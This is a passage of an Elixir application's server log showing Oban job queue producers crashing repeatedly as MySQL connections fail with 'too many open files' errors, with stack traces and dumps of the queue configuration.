    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:45:59.242429Z], limit: 3, uuid: "bb58fd25-9003-4576-adb3-19d1a563a904", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:59.242435Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91217>, refresh_timer: #Reference<0.2525715032.1121189889.91197>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:14.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:16.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:17.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:46:11.241476Z], limit: 3, uuid: "3a5f7315-2a7d-4d5a-8ee9-84b299b65140", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.241482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91567>, refresh_timer: #Reference<0.2525715032.1121189889.91559>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:46:11.241558Z], limit: 20, uuid: "50da16c3-0f7c-4737-bdf1-4bc69ab2e920", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.241565Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91568>, refresh_timer: #Reference<0.2525715032.1099169794.243553>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:46:11.241006Z], limit: 5, uuid: "c09b2bbc-9a02-4336-81f8-d622f196d2c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.241014Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91571>, refresh_timer: #Reference<0.2525715032.1068236804.235115>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:46:11.240270Z], limit: 50, uuid: "c12910e6-cd0b-42b6-9850-9700415721a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.240279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91572>, refresh_timer: #Reference<0.2525715032.1068236804.235086>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:46:11.241118Z], limit: 5, uuid: "75b36365-acbf-4680-b2fb-b94f8816ce52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.241125Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91569>, refresh_timer: #Reference<0.2525715032.1099169794.243546>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:46:11.241455Z], limit: 10, uuid: "9775f4d2-4493-44bb-ae2d-7a4e756bc2d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:11.241463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91570>, refresh_timer: #Reference<0.2525715032.1068236804.235131>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1848.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:46:25.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:28.176000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:28.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:29.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:29.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:31.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:34.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:46:23.237828Z], limit: 3, uuid: "e1d2659d-0f96-47f3-8497-3365ba1ded6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.237836Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91880>, refresh_timer: #Reference<0.2525715032.1068236804.235196>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
